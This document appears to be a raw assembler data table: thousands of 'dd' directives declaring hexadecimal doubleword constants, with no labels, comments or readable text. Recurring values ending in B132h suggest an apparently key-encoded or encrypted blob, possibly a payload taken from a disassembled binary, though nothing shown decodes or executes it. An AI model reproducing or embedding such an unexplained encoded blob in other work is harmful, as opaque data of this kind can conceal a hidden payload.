		dd 56AEB134h, 0E6542623h, 9FB6A31h, 56DC5869h, 39ABB132h
		dd 5DBE24F2h, 37564749h, 4E8C34F4h, 36F8B6E1h, 5657A5DBh
		dd 62D00032h, 46328E31h, 528156Bh, 0E0685A3Eh, 950CE0D5h
		dd 564E587Dh, 0D559B132h, 5B0E6A33h, 483D8F4h, 0F3443CC9h
		dd 575AE0EBh, 6F1DD0F8h, 0AF6EAE5Fh, 5BAC04CDh,	0D2A1B6E1h
		dd 5657B133h, 3C2E3CCEh, 59D26D31h, 56EABDB3h, 56725832h
		dd 0E374B132h, 3FF0EDD4h, 0BF7E4E77h, 5657B126h, 0DD7EA08Dh
		dd 0B8BD85D0h, 462298FCh, 88F0CAA2h, 0ED6D9BEDh, 564D5860h
		dd 0ABEDB132h, 0A3F78AC7h, 0CE14C1B2h, 0CBD22296h, 59BAF379h
		dd 5675A0BDh, 5052D132h, 505DB132h, 0B57B884Dh,	0DD31E873h
		dd 56C3D0ECh, 0BFD5B1B2h, 56EAB122h, 0C2738562h, 6F628339h
		dd 4527B1FAh, 0F5EBA07Dh, 0A9AEB158h, 89C56780h, 4555BE35h
		dd 0BFEAB132h, 5675B13Ch, 8485F975h, 759F6594h,	93623B4Bh
		dd 86A8BE50h, 0D7CDD152h, 0BE5447F0h, 56EAB13Dh, 0AF46117Bh
		dd 639A6C19h, 80FB4564h, 0F70AA04h, 9FD6D753h, 0ECA08EFh
		dd 0D3DAE052h, 56EAB132h, 28CED768h, 0AEE0D0F6h, 56DDB15Ah
		dd 56C44D32h, 5657B7DBh, 0BF4F5C32h, 0A92834CAh, 8998F080h
		dd 5EF4BE35h, 36BAB132h, 0EE3BEF61h, 0A9CF4B8Bh, 0D2584DE2h
		dd 56ABB122h, 56D5BADBh, 9CCEBB32h, 286A2912h, 9641165Dh
		dd 5AB5D153h, 1DAEB132h, 0C31B3D0Eh, 8B72E80Dh,	0D65A5AA4h
		dd 59B2A9F9h, 5675B2BEh, 0A431D732h, 3A47253h, 56AEB7DBh
		dd 0F7F5A632h, 36B5DC78h, 8062BECAh, 0AE063A53h, 0E813D152h
		dd 0DCB51177h, 565DB130h, 0BECF79B9h, 5657B132h, 71413068h
		dd 0AED26EA0h, 56EAB6DBh, 0B9F8F032h, 0CA8AA91Fh, 5955C4B9h
		dd 56AEB0B3h, 98BF4932h, 0AFABB13Ch, 0A85ED167h, 3D784E53h
		dd 0BF726E5Dh, 56BAB134h, 1A7D0FC3h, 59F3437Bh,	5657B4BBh
		dd 37CBD132h, 533CD0CAh, 34EAB132h, 9610502Eh, 59B6C409h
		dd 0A9A274B7h, 4F23BECDh, 3657B132h, 56ABBEDBh,	75F8E132h
		dd 617FA560h, 0B86DBA38h, 676368Ch, 37A2063Dh, 56A0C5DAh
		dd 0BE07D132h, 56ABB122h, 3111467Bh, 8F60659Ch,	0CBA25DDAh
		dd 4CF3F569h, 46B4EA6Ah, 6EAEB132h, 955EF7E8h, 0E58B1A7Ah
		dd 284F807Dh, 3706118Eh, 57F1BE53h, 0AABAB132h,	593DD1FBh
		dd 56AEB1BFh, 56525932h, 0F6B132h, 0D2A7FBEh, 56E35853h
		dd 0A7EBB132h, 0AF409FFh, 3734E247h, 59AEB9F0h,	5657BBBAh
		dd 0D0A4D132h, 56D5B132h, 38B69B9h, 0DD13D152h,	0DDDBD0C3h
		dd 4EDABEDEh, 59AEB132h, 5657A3BFh, 56A65832h, 520AB132h
		dd 0B0CFD788h, 43949D3Eh, 0D5495813h, 363D4DF6h, 0D7CF79B9h
		dd 337675C1h, 59FDD011h, 56D5B0BEh, 1124D32h, 56743C3Dh
		dd 546B132h, 565C3B3Dh,	0BE52B132h, 5657B132h, 31413068h
		dd 0BFD26EA1h, 56EAB135h, 0D25D2AE0h, 3623136Dh, 565D3F3Dh
		dd 0D3A1B132h, 5657B131h, 37723A54h, 59DDC4B9h,	56EAB6BBh
		dd 9FF5D132h, 37433A4Bh, 0AE4DCCB9h, 512ABE65h,	5957B132h
		dd 56ABB0BFh, 0D8DA4D32h, 56EAB133h, 589CE7CEh,	3FBAB132h
		dd 230E301Bh, 41F93552h, 0A1CE1BDAh, 57665926h,	0D2DAB132h
		dd 56EAB135h, 56743F3Dh, 5D4FB132h, 6ED9BEF2h, 36AEB133h
		dd 308C0E3Dh, 0DDCA7FB9h, 56C158CAh, 3029B132h,	0F2F805AEh
		dd 9A476984h, 21658F94h, 0C879A6AEh, 45BE1FB0h,	0EBABB132h
		dd 6F2045Bh, 0B34D3852h, 0C8E87115h, 0ECF00D7Ah, 0BF080E5Eh
		dd 56AEB139h, 61D0CE86h, 78E79E3Eh, 0A913D94Eh,	8985DAA0h
		dd 0D615D135h, 0D3B5F8F7h, 565DB132h, 0BF870A53h, 0B36D934h
		dd 0D6ED0652h, 59B43DC6h, 56EAA0B4h, 56795832h,	0BC23B132h
		dd 0B2846F45h, 1C407D17h, 236C40B6h, 0FA2FBE3Eh, 59D5B132h
		dd 56EAA8B8h, 56615832h, 0CC12B132h, 502AB38Dh,	0AEACF717h
		dd 0A27161C6h, 72217044h, 0DDB3A378h, 576BBE2Ch, 0AE75B132h
		dd 594A56B2h, 565DB5B3h, 0A625D132h, 36493B53h,	0D7580E3Dh
		dd 0C2C1DAC1h, 598AD005h, 5675B5B4h, 7603D732h,	0B5DDD051h
		dd 56A558C2h, 88E8B132h
		dd 0BB1921A3h, 40D0ABF5h, 4C63BE6Fh, 3675B132h,	56BAA0DBh
		dd 0C0695132h, 3167A98Eh, 1BDB5AAFh, 0E77E66C6h, 37B5D0A3h
		dd 70C45953h, 0D37AB132h, 56BAB13Bh, 9CDCD752h,	0B61A3350h
		dd 0A8C15853h, 5A424ECDh, 94D5B132h, 933B43C6h,	0BAEE6767h
		dd 0DF08CD4Ah, 5DB44D4Fh, 7AEB132h, 705EF2A5h, 0B1EB0291h
		dd 0A93D3639h, 36154EC7h, 56725960h, 3663B132h,	80C45A8Ah
		dd 30F7EF45h, 0AE366EB9h, 36F44869h, 56D5BCDBh,	0BC837932h
		dd 3249555h, 76580E08h,	303DFB72h, 9F86BB9h, 3609D053h
		dd 3775063Dh, 5929F4B9h, 56EAA1B1h, 567E5832h, 5AE7B132h
		dd 0C5014FFh, 0D17CB7F8h, 94AF7862h, 5A42B13Eh,	18D5B132h
		dd 4A54F93h, 20E4FD5Ah,	3EAFF56h, 565DBFDBh, 44513332h
		dd 0A3AD5462h, 9CF565E0h, 0DDB53610h, 5765BEDEh, 0AA75B132h
		dd 594275B1h, 565DB9B2h, 0E1A1D132h, 96E8BEC9h,	30CBE653h
		dd 0BFB49E8Dh, 56EAB13Fh, 57523D37h, 26FC82A5h,	0F1E33FF7h
		dd 36F8D0F2h, 0A6DCD7CBh, 0EECBE053h, 2010AD01h, 58B3982h
		dd 56793F3Dh, 0DBB5B132h, 565DB134h, 56AE3E3Dh,	1390B132h
		dd 56ABB1CAh, 5E5FBE32h, 59EAB132h, 5675B3B7h, 59DBD132h
		dd 565DA3B3h, 56A35832h, 3848B132h, 0A1404F17h,	0C1A742F4h
		dd 91ED8758h, 890424B0h, 56BAB035h, 47B4D132h, 74AEB132h
		dd 5125B28Bh, 0F65615F0h, 1365E415h, 0F75A32Eh,	23FE4453h
		dd 0D7DCD13Ah, 0DD6CC5F5h, 0DDC8D0F1h, 0ECDC442Ch, 5174DFE4h
		dd 56C5333Dh, 5D03B132h, 8675B132h, 38C0CC2Ah, 0F5CBB4A8h
		dd 925EF91h, 4BDFBE3Ah,	36ABB132h, 56D5A5DBh, 4D367332h
		dd 127A992Eh, 5AED323Fh, 0B1657FFDh, 0D8C95581h, 37B83B3Ah
		dd 0D2A46A39h, 56D5B147h, 56EAB7DBh, 5B967032h,	6D7FBF8Ah
		dd 60D8BEECh, 36AEB132h, 1AE063Dh, 0CEC76B2h, 5A883A53h
		dd 8E6BD752h, 59220673h, 56BAB1BFh, 0DF3CEA32h,	0DCA1BD6Dh
		dd 5657B123h, 56ABBDDBh, 0E81DA632h, 0C4F70Bh, 8F87DD2Dh
		dd 427D3232h, 56515952h, 0A2B2B132h, 79934E96h,	4FFEE786h
		dd 378A3AECh, 0A98658CEh, 5C9C4ECDh, 89BAB132h,	6A538029h
		dd 0B1D28A53h, 48DCD7B5h, 992B4852h, 0AD55D048h, 986EBEDAh
		dd 5975B131h, 56BAB4B7h, 0DD3BD132h, 0AD2ED0E1h, 0ECD3BEDBh
		dd 0AFABB131h, 593E4AB2h, 56E901B6h, 5FFABE32h,	36BAB132h
		dd 0E2E5D052h, 37CD8B07h, 59B54AB2h, 56A839B6h,	5E3CD132h
		dd 84EAB132h, 838CC4D0h, 59394B11h, 0D63C7A85h,	0D2A152C9h
		dd 5657B225h, 9C14BE52h, 0D7B3D0CEh, 5909D6C9h,	5676EDB6h
		dd 5A3BBE32h, 0BF5DB132h, 56AEB135h, 9C5DA5CBh,	0D6E9D3E4h
		dd 0DADA41D5h, 56EAB133h, 59F8BEC7h, 0BFBAB132h, 565DB138h
		dd 9AAE5BAAh, 0EAFA3049h, 0D7CD1FCBh, 5955BEC9h, 56E981B6h
		dd 56665832h, 0F37DB132h, 6064FF4Dh, 9B49A3E6h,	0B146F06Ch
		dd 5C35BE30h, 0A636318Eh, 912E352h, 56675861h, 7B32B132h
		dd 3599B2F9h, 1AE12942h, 0F848797Ch, 5B46418Eh,	0AD55D06Bh
		dd 0B86EBE42h, 3675B130h, 0DD40063Dh, 0DD3BD0C1h, 842ED12Ch
		dd 0B5D7D053h, 0D0A44DCAh, 56D5B138h, 566FBE52h, 775B132h
		dd 0AD3AD06Dh, 3FD9BE8Ah, 0AEAEB133h, 5657B7DBh, 264C6E32h
		dd 0D64B520Eh, 0D2E5B40Ch, 5675B066h, 56B6373Dh, 51B4B132h
		dd 13AEB132h, 746F52A4h, 0D9A4F16Fh, 56D5B122h,	56EABADBh
		dd 9456AC32h, 949D869Ah, 93FA18B6h, 59838FB2h, 565692B6h
		dd 572FBE32h, 0AED5B132h, 59828FB2h, 5674A2B6h,	56BD5832h
		dd 91EFB132h, 0F5CC606Bh, 0C3D54EBDh, 0A3AC6E43h, 9F544952h
		dd 3E174855h, 48FED753h, 56BAA0DBh, 2780F332h, 99602DB2h
		dd 17E0FAE2h, 0EEC87D9Ah, 59B584A6h, 56EAB3B4h,	36000332h
		dd 37E5E1C7h, 0AEBA3153h, 0AD2FD7CBh, 0D25859B3h, 56ABB1F2h
		dd 0BA5FD1CBh, 37290E3Dh, 596B3A54h, 56BAB9B0h,	54D3BE32h
		dd 36AEB132h, 0A6B03153h, 56A3323Dh, 0DDDAB132h, 56EAB130h
		dd 0D713D052h, 597A30C9h, 565D3AB6h, 56AB5832h,	67E3B132h
		dd 367F9D43h, 56D5B8DBh, 0C63AC32h, 757B9F7Ch, 0BFEF3297h
		dd 565DB137h, 511D49A5h, 3DC54E4Fh, 36AC6E5Dh, 786F9782h
		dd 37926688h, 567D586Fh, 0DD3DB132h, 1C4D1386h,	13274784h
		dd 51D0BECEh, 59ABB132h, 56D5B0B0h, 598B4932h, 5675B6B1h
		dd 5731BE32h, 0AA5DB132h, 5752CCB1h, 5478343Dh,	4242B132h
		dd 17D5B132h, 53EF12D2h, 0BF05CB05h, 0C8BB4DCEh, 3257A36h
		dd 364BD3B9h, 9C7E0854h, 376C0E3Dh, 555C0BB9h, 0DDE5B6E1h
		dd 5675B133h, 4753E1CAh, 0F15DB132h, 0FB58AB3Ch, 0EAEDF59h
		dd 3B400D45h, 0F5FC9AC7h, 277F33B9h, 589CB6EDh,	0B3BAB132h
		dd 0EFC913Bh, 0D789BD7Dh, 0C1C65E93h, 669788B1h, 565EBE52h
		dd 0E4EAB132h, 592DD0A5h, 56BB0DB0h, 0ECD64432h, 517DB03Fh
		dd 56465952h, 787BB132h, 0BE816F4Ah, 4CDEB5F3h,	2A8C3BC6h
		dd 0D7E86C0Fh, 5EA84AF8h, 0DCA1EB2Fh, 5657B134h, 74A73B3h
		dd 6B4D2CCh, 56E1303Dh,	5915B132h, 56BAB1BCh, 0A0EABE32h
		dd 56A95853h, 65B6B132h, 0F3C8565Ah, 0C3573AF1h, 0AFED6E43h
		dd 0BF458D0Bh, 56BAB138h, 35702180h, 77302559h,	590F28AEh
		dd 56AAFDBDh, 0E8B3D132h, 0A7522C94h, 377C9DDCh, 563D58CBh
		dd 63DB132h, 9C653054h,	46BFEB04h, 1CABB132h, 6822C25Dh
		dd 73C364ADh, 3D92ECDh,	45831C5h, 913CEE6Ch, 56AC4977h
		dd 0BE37B132h, 56ABB134h, 1A9D7FADh, 856B62C3h,	77B4702h
		dd 37623A68h, 565DF5DBh, 0BFCED132h, 5657B120h,	0CBDD99DFh
		dd 8BF6F796h, 4F13505Ah, 0F6C00958h, 0E1B597DDh, 47B4D0E1h
		dd 94AEB132h, 27B131E9h, 8DDE4549h, 6A110F9Fh, 530450C5h
		dd 0AE307653h, 56BAB133h, 4BE7D752h, 0AC25D741h, 80ED3A53h
		dd 0AEAC6E5Ch, 0AA29AEB9h, 0D2E56A39h, 5675B193h, 8731D752h
		dd 37AF0E3Dh, 56A3343Dh, 0D737B132h, 3C8F7DDDh,	0E80F0B1Fh
		dd 6D8BDCFCh, 1AF0BEECh, 0BFBAB132h, 565DB13Eh,	0C8681959h
		dd 31D64411h, 0C0470877h, 0AAD9ECB9h, 5612CCB1h, 5662353Dh
		dd 5853B132h, 3E5DB132h, 9487497Fh, 2EFFCC54h, 9829CFBAh
		dd 0AE88B267h, 52B538CBh, 5675BFDBh, 0E297E232h, 76DDF4EEh
		dd 712C708Ch, 0D5382A55h, 0D6A4A5F5h, 56D5B133h, 0A99C58CEh
		dd 59154ECDh, 0D9B5638Dh, 565DB130h, 65CF41B9h,	1CBE44F2h
		dd 0BFABB136h, 56D5B13Bh, 0ECE734FAh, 7C3823C7h, 4831D70Fh
		dd 565DBDDBh, 0B4B77032h, 4E13CD18h, 12AC65F3h,	5AA83A77h
		dd 0BD1131CAh, 563E353Dh, 0BFDAB132h, 565DB13Eh, 0A6E2A871h
		dd 3686D6EFh, 0ACCF1332h, 0C23350B3h, 0D68BF4BBh, 0D37A41D1h
		dd 56BAB133h, 26A631CEh, 56D3353Dh, 0BFA2B132h,	56ABB03Eh
		dd 56DA5852h, 2C5FB132h, 8B458E44h, 1147915h, 13CF0C23h
		dd 37773A14h, 0BF5077CEh, 56ABA3DBh, 0F3AD8A32h, 0C3A33878h
		dd 14CD038h, 220033C0h,	9126B3E9h, 56AEB075h, 47BEB132h
		dd 0D4ABB132h, 0D18D58B6h, 74C5F344h, 90BA2588h, 0AA950DA9h
		dd 593D76B9h, 56AEB2BAh, 9CE8BE32h, 2D2957B3h, 0D5B49F23h
		dd 0D2E5B4F2h, 5675B133h, 55CD58CEh, 0AF3DB132h, 30CF7AB9h
		dd 5E58B6F5h, 0BFB53BCEh, 56D5B126h, 0EDE13A4Eh, 412F9ADh
		dd 32F26702h, 0A4D300DAh, 30EFFCE1h, 0AA5852B2h, 0BF2B7AB2h
		dd 56D5B13Bh, 0E087E340h, 0FC784405h, 57E5397Eh, 564D393Dh
		dd 0D4A1B132h, 5657B138h
		dd 56ABB4DBh, 5D38BF32h, 91136227h, 5675B375h, 0D7DAB132h
		dd 0B6FC16C4h, 9811BE0Bh, 36903A53h, 37583ACEh,	36D371B1h
		dd 1361B2h, 0AC9CD06Ah,	0BFBAB130h, 565DB123h, 17FA8C0Fh
		dd 4C37DA1Dh, 8B2EA97Ah, 27F90D98h, 5768BEF3h, 0AE75B132h
		dd 0C6843054h, 1DD9BEA2h, 36AEB132h, 0E6364852h, 682BD006h
		dd 1250BEA2h, 36EAB132h, 3014E786h, 0C645CFB3h,	7DD9BEA2h
		dd 0BFAEB132h, 5657B122h, 141D0FBDh, 0D44759DDh, 2F32C328h
		dd 0BCBEFF53h, 56BAABDBh, 5DD5BE32h, 36AEB132h,	0D7AE3A54h
		dd 0B90EEF8h, 915ED041h, 549558C7h, 0DB80B132h,	89C8D8B0h
		dd 360D4435h, 8F25D7CAh, 53BEE753h, 0D0ABB132h,	0E5D177CCh
		dd 592D3A52h, 0A9146685h, 89D53AA0h, 56515835h,	0F0ECB132h
		dd 693155F6h, 16FC7612h, 0ECB5C129h, 2EC73E5Fh,	5CFD0B54h
		dd 597ABA53h, 565D8BB6h, 56A75832h, 0A0B3B132h,	0A9EB735h
		dd 0DDA56B78h, 5103D1FAh, 8775B132h, 0DC34A897h, 0E1522A69h
		dd 0E423D0E8h, 5188C35Bh, 9D2AD752h, 0BFB41BD8h, 56EAB1B8h
		dd 5674383Dh, 43B132h, 565DB4DBh, 553F7232h, 98DCE4F8h
		dd 0FD14D752h, 0EFB3E161h, 37B5DACCh, 5675A2DBh, 646CAB32h
		dd 4D8F8387h, 0AD3FFAC8h, 494BB1A8h, 0B6494EA0h, 0C42A4967h
		dd 5135DE59h, 0BF284DCAh, 56BAB126h, 0BE626F57h, 0A6288B30h
		dd 1A81FD85h, 0A0B1BF95h, 0AFBBDA9Fh, 5B037F19h, 0F475B132h
		dd 0E1D05F9Eh, 0E4033D74h, 2BEACE49h, 5657B6DBh, 5E3EE632h
		dd 5B1B070h, 530368C5h,	0D675B132h, 0F25104B7h,	2BDE496Ch
		dd 0D3A1B0CAh, 5657B1FCh, 59E201CEh, 56D5A2BDh,	56E45832h
		dd 0D572B132h, 0E819F2A3h, 0D30FAB50h, 1C79C27Dh, 437D198h
		dd 56AC596Dh, 3EDFB132h, 43D63366h, 0BE14EA6Ch,	56BAB13Dh
		dd 0A4F653D2h, 8C255CBCh, 0FF461AE5h, 92C5958h,	596DD753h
		dd 5763BEB7h, 0AE75B132h, 0D8B51A54h, 565DB129h, 56BB343Dh
		dd 46BEB132h, 0F4ABB132h, 44BEA0EFh, 1C849B56h,	0BBE7636h
		dd 59EDD8FDh, 0BF5CF784h, 56AEB126h, 55790C87h,	6FDB1B4Bh
		dd 542FF1C2h, 0FC9F8C96h, 1B40E0B6h, 0DEB54899h, 565DB12Bh
		dd 269F0952h, 5BBECB82h, 34ABB132h, 357AE3C6h, 31032C5Fh
		dd 9BA3CE4Fh, 560E5853h, 0DC52B132h, 56AEB120h,	565B373Dh
		dd 5142B132h, 2CD5B132h, 0DD9ABBFh, 2BF64A30h, 0D3B5B3CAh
		dd 565DB14Eh, 56A458CBh, 0DE2B132h, 38D50D0Eh, 0D911EE64h
		dd 9FE10954h, 567E333Dh, 5053B132h, 0C45DB132h,	53B67913h
		dd 59FCD7DEh, 56ABB0B9h, 0EEB54D32h, 1724E6E6h,	56795865h
		dd 417B132h, 35E8BCBCh,	0D2D00301h, 370E57D7h, 0D2A40954h
		dd 30B44D52h, 5163BE99h, 5975B132h, 56BAB0B0h, 0E0524932h
		dd 0FD57B074h, 565B323Dh, 0DCA4B132h, 56D5B134h, 56EA373Dh
		dd 419CB132h, 0AABAB132h, 0DB5215C1h, 56AEB135h, 300FE252h
		dd 59CA6BB9h, 56D5B0BAh, 91614932h, 0BF15EACAh,	56BAB13Bh
		dd 8174661Ah, 5FDC1402h, 0AF0ED085h, 59F4446Ch,	56D5A7B7h
		dd 56FB5832h, 8704B132h, 9DAC7AF8h, 0F0A43520h,	8DCAB873h
		dd 9FA7FBE0h, 56A35952h, 9A68B132h, 237134D4h, 0BF2E178Ah
		dd 56BAB135h, 0EEACB2D4h, 376B22D0h, 5657BADBh,	0EE353C32h
		dd 4E382C3Bh, 0E548D8C2h, 0BF75B9F0h, 56BAB139h, 0A97A995h
		dd 5E306C63h, 304FCB7h,	56A33B3Dh, 0D5DAB132h, 56EAB130h
		dd 0BAFED052h, 0BEDAD1CBh, 565DB122h, 0D2701981h, 1C410977h
		dd 0D2BF32EEh, 0D1557339h, 56EA383Dh, 2DB132h, 8EE5B98Ah
		dd 0BE3CEB7Fh, 56AEB132h, 0F5BD3068h, 0BFAC6E92h, 56D5B13Bh
		dd 0B1DF822Eh, 9AE19014h, 0EEECD11Dh, 221FB127h, 0DD5BD06Ch
		dd 53BEB977h, 7AABB132h, 3E2BE177h, 381633BBh, 3015B6EDh
		dd 0D7DC40B9h, 37156BD0h, 30F9D153h, 29FB46B3h,	56B9586Ch
		dd 0D26BB132h, 9F43EF97h, 942D8F74h, 7390344Dh,	0D527A180h
		dd 0DDCE7853h, 95D7E0CBh, 94CAEAD9h, 0D1DAB136h, 56EAB137h
		dd 8EC2BE52h, 5353E453h, 565DB132h, 9358D330h, 5657B7DBh
		dd 32F04C32h, 0DD5182EFh, 576BBEDEh, 0AE75B132h, 0BF4275B1h
		dd 565DB138h, 0ECDE6406h, 4BB165C8h, 0BFCB16B1h, 56D5B13Ch
		dd 28D03B25h, 4E87746Eh, 0DCBA091Dh, 56B5FA0Fh,	0CAEB132h
		dd 0F7355BB3h, 5942B6EDh, 0C0D5B132h, 86D67E58h, 78515F6Ch
		dd 905D24B6h, 0DF524B51h, 56AEB13Ah, 5655383Dh,	37CBB132h
		dd 562DF4F5h, 0AAEAB132h, 5675A2DBh, 6317C132h,	5150B103h
		dd 33F92315h, 0BA650614h, 0DA4291F3h, 5629F4F5h, 0BFEAB132h
		dd 5675B13Dh, 0CDE0D530h, 2F1896E2h, 0C1D6DC66h, 65E212E2h
		dd 56BA58F2h, 0DC88B132h, 0F3D00AFAh, 0F9830D46h, 22AA7DF5h
		dd 30C987CBh, 9152AFB9h, 892624B0h, 56ABB035h, 5755BE32h
		dd 0AEEAB132h, 0C68E3054h, 4A3FBEA2h, 595DB132h, 56AEA7BBh
		dd 56465832h, 8CA0B132h, 630E2C65h, 0E67EC42Dh,	0D2418F38h
		dd 0D6D18F19h, 0D25259C9h, 56AEB5F9h, 0FB030852h, 0BE2AA3F9h
		dd 59102399h, 5C03F153h, 0A975B132h, 0B91F066Dh, 2C53E27h
		dd 0BF553140h, 52F2353Dh, 5942B132h, 0C2D5B132h, 0C021FBDDh
		dd 0A33FA82Bh, 8FA1F690h, 591DCC0Dh, 56AEB6BFh,	57DABE32h
		dd 0A3ABB132h, 593E4AB2h, 56EECBB6h, 86F5D132h,	56AB585Eh
		dd 1EDCB132h, 3A7D329Bh, 349F0A74h, 460A5906h, 37028E81h
		dd 56FA5872h, 28E1B132h, 0D97A98C4h, 2992F2AFh,	8561767Ah
		dd 0B1D7558Ah, 0D7CD4DC2h, 5955BEC9h, 56EE8BB6h, 56645832h
		dd 0D96BB132h, 915B4816h, 2E1E439Fh, 29D88372h,	55A71D3Ah
		dd 85FB28B0h, 0AEAA4935h, 59974AB2h, 56B948B6h,	42DDBE32h
		dd 36AEB132h, 5657323Dh, 5142B132h, 0F2D5B132h,	0CEFDB68Fh
		dd 0D61479BEh, 0D2B552C9h, 565DB2A2h, 56AEBADBh, 41EDC632h
		dd 0C8A3C0E7h, 0F5953EFFh, 31113054h, 0EDF1BED1h, 59BAB131h
		dd 565DBAB9h, 982ED132h, 0C0BC30D5h, 37C4F965h,	0A32552B2h
		dd 599A4AB2h, 567607B6h, 5053D132h, 0AC5DB132h,	7ADB16ABh
		dd 5EBED02Ah, 66ABB132h, 0D59000D3h, 30D3307Dh,	5915AFB9h
		dd 56BABEBAh, 56575832h, 1F28B132h, 2053AA56h, 0CDC36663h
		dd 11123054h, 0B56AD068h, 566158CAh, 0E32CB132h, 76F12D8Ch
		dd 6C0F8318h, 9635691h,	6E81B7E0h, 0AD555231h, 4F6EBE8Ah
		dd 0AA75B133h, 59BF8FB2h, 565CBEB6h, 0E1A1D132h, 70EFD7F2h
		dd 682BD0AFh, 0AB51BE1Fh, 0AEEAB132h, 591D8FB2h, 56BA42B6h
		dd 0AA1D4932h, 273B33CDh, 50BEB6EDh, 58ABB132h,	918FF94Eh
		dd 4861D743h, 0B6F4D752h, 0D6DB0226h, 0D25249D5h, 56AEB122h
		dd 5657BADBh, 0F9336132h, 0B514B0DBh, 93E4093Fh, 0D78E3054h
		dd 0E73EBEDAh, 595DB132h, 56AEBBB5h, 56525832h,	80B4B132h
		dd 3067FA9Fh, 0D616AFB9h, 0D57A41D5h, 56BAB139h, 56DFBE52h
		dd 59AEB132h, 30367085h, 962A4AB3h, 56AB353Dh, 3616B132h
		dd 3015E4CAh, 0E1B579B9h, 0C4A2D0C8h, 5171DE59h, 565B373Dh
		dd 0DFA4B132h, 56D5B134h, 56EA303Dh, 5928B132h,	56BAB9BBh
		dd 54D3BE32h, 36AEB132h, 0AA123853h, 0A02AD752h, 3086D15Fh
		dd 828469B3h, 5914D068h, 56BAA5B5h, 56525832h, 137DB132h
		dd 0B357286Fh, 4A3D6598h, 0B57CD9E7h, 0AA973287h, 67F0BE33h
		dd 36BAB135h, 56565965h, 5E12B132h, 0C48E551h, 8EFDB0B6h
		dd 378FE8AFh, 55630BB9h, 0E815B6E1h, 63FB20B8h,	565DBEDBh
		dd 375BB232h, 4462A580h
		dd 0C63C896Ch, 9259656Ah, 5B03E153h, 4875B132h,	0BB41C37Dh
		dd 0A29F0684h, 36B60C0h, 27C233B9h, 0D3A4B6EDh,	56D5B123h
		dd 56EABDDBh, 0A6BCAA32h, 0E0429502h, 2C8B23E6h, 6692883Bh
		dd 57D0BE52h, 0AAABB132h, 56D6373Dh, 0DD8CB132h, 0BF15D0C8h
		dd 56BAB126h, 0A92683A6h, 2AA3EE27h, 31A20043h,	0A9CF1C0Bh
		dd 0F182A5B6h, 0E8B6C81h, 50E7333Dh, 5053B132h,	0A85DB132h
		dd 0BEDC3BEDh, 5BED3A0Dh, 59AC6233h, 56D5A3B2h,	5A66BE32h
		dd 0BF75B132h, 56BAB135h, 4CFCA3A4h, 6CC87EDh, 0C3D53ACEh
		dd 59AC6E43h, 56D5B9BCh, 5467BE32h, 3675B132h, 66868853h
		dd 564B383Dh, 4747B132h, 0EE57B132h, 0F5BD82D5h, 217B1911h
		dd 9DE285F0h, 14E4316Eh, 7B35BE6Ah, 0AA5DB134h,	56AF303Dh
		dd 0DDAEB132h, 89C54788h, 5755BE35h, 0AEEAB132h, 388333B1h
		dd 59AEB6EDh, 565DA6B0h, 4725BE32h, 0BF57B132h,	56ABB13Eh
		dd 349C6DAAh, 835C399h,	0A4BAB1D1h, 0DEB586BBh,	565DB123h
		dd 3F16D752h, 565158AAh, 7EDFB132h, 82D3C585h, 46AD3853h
		dd 3615E1CBh, 6C2D6AB3h, 37A4D514h, 31150E54h, 0C3D53A53h
		dd 59AC6E43h, 56D5A6B8h, 56F85832h, 8B08B132h, 36DDC720h
		dd 75A6674h, 0D0A51964h, 0A9DA995h, 599BADB9h, 56D5A2B6h
		dd 56E45832h, 6B5EB132h, 2C0C97D0h, 0E75E97DBh,	0FD178B65h
		dd 52D8BE6Ah, 36ABB132h, 0DFB4EF60h, 4503B96Dh,	75B132h
		dd 6853133Dh, 0D22B402Bh, 57BD82Fh, 0E7DB3E7Bh,	0B42D438h
		dd 59D5B137h, 56EAAAB7h, 469DD132h, 76BAB132h, 6E0CA0F1h
		dd 69009122h, 23AB818Ah, 0C6FDAC1h, 37050E3Dh, 5412F4F5h
		dd 0BF75B132h, 56BAB121h, 488FF6F1h, 0E76C53F3h, 0F1B342D2h
		dd 4C18ACA4h, 0BF16642Bh, 56EAB109h, 5675BADBh,	659A9A32h
		dd 1C4C4B4Bh, 0C688154Fh, 565B373Dh, 0D3A4B132h, 56D5B134h
		dd 56EA3D3Dh, 13B2B132h, 56BAB0CAh, 0DB524932h,	56AEB139h
		dd 0C88E3152h, 56AB353Dh, 0DDB4B132h, 89844788h, 0D58C4835h
		dd 89D447B0h, 303DA535h, 813A6AB3h, 37883A54h, 424286BBh
		dd 2CD5B132h, 740D40EAh, 0ED8C9270h, 69110477h,	77D12E2Dh
		dd 0DFA71FF0h, 42BEA175h, 75ABB132h, 0E0EBCD96h, 8B998CF0h
		dd 0D906564Ah, 0DC819624h, 0D5618454h, 0D3A1B2CAh, 5657B16Fh
		dd 0D0743052h, 0D7BBAF9Ch, 0CCA64AF3h, 0D4B2D007h, 5165C0A7h
		dd 565DB130h, 568F3D3Dh, 0BE37B132h, 56ABB135h,	2AA45042h
		dd 8D9F5C7h, 5675BDDAh,	0E89F9F32h, 465C87BEh, 0FA7EEB61h
		dd 0BF36EA46h, 56ABB105h, 56C63E3Dh, 5803B132h,	0DF75B132h
		dd 392BE61Ch, 0A887F1A2h, 0F94DEA80h, 54AF3278h, 54C83C3Dh
		dd 0BF20B132h, 56EAB13Dh, 5AC407EDh, 0E4DF9A53h, 0EEA1F462h
		dd 0D59ECEF5h, 5957494Fh, 56AB69B6h, 4E5FBE32h,	59EAB132h
		dd 5675A3B6h, 56B75832h, 9D4B132h, 0B8A8AF63h, 0BD58246Eh
		dd 5966D0E4h, 59D4F784h, 56EAA6B0h, 47F3BE32h, 0BFBAB132h
		dd 565DB13Eh, 2A4BEB04h, 0DDC2B1DBh, 0A9DFCF10h, 56C1353Dh
		dd 5903B132h, 5875B132h, 666EADB5h, 45826C2Ah, 70E5E0B0h
		dd 0D6FE477Fh, 59ABB132h, 56D5D5B7h, 406EBE32h,	3675B132h
		dd 56BABDDAh, 0B790232h, 112A6110h, 9F608B2Fh, 0BC21E946h
		dd 56D85853h, 5494B132h, 0D9CD4532h, 6D870BB7h,	16AD951Ah
		dd 56AF363Dh, 0D5ABB132h, 5A42B4DAh, 41D5B132h,	0EF8DC46Ah
		dd 585DA46Ch, 59D43FC7h, 565DB0BEh, 4E474932h, 5957B132h
		dd 56ABB9BAh, 5458BE32h, 36EAB132h, 568A9C53h, 0D546B132h
		dd 0BFA1B4DAh, 56AEB129h, 0DDAEE2CAh, 89DA24A8h, 416ED135h
		dd 37CB960Fh, 3646B5B9h, 800DBECEh, 0FFA8EA53h,	0D6AEB132h
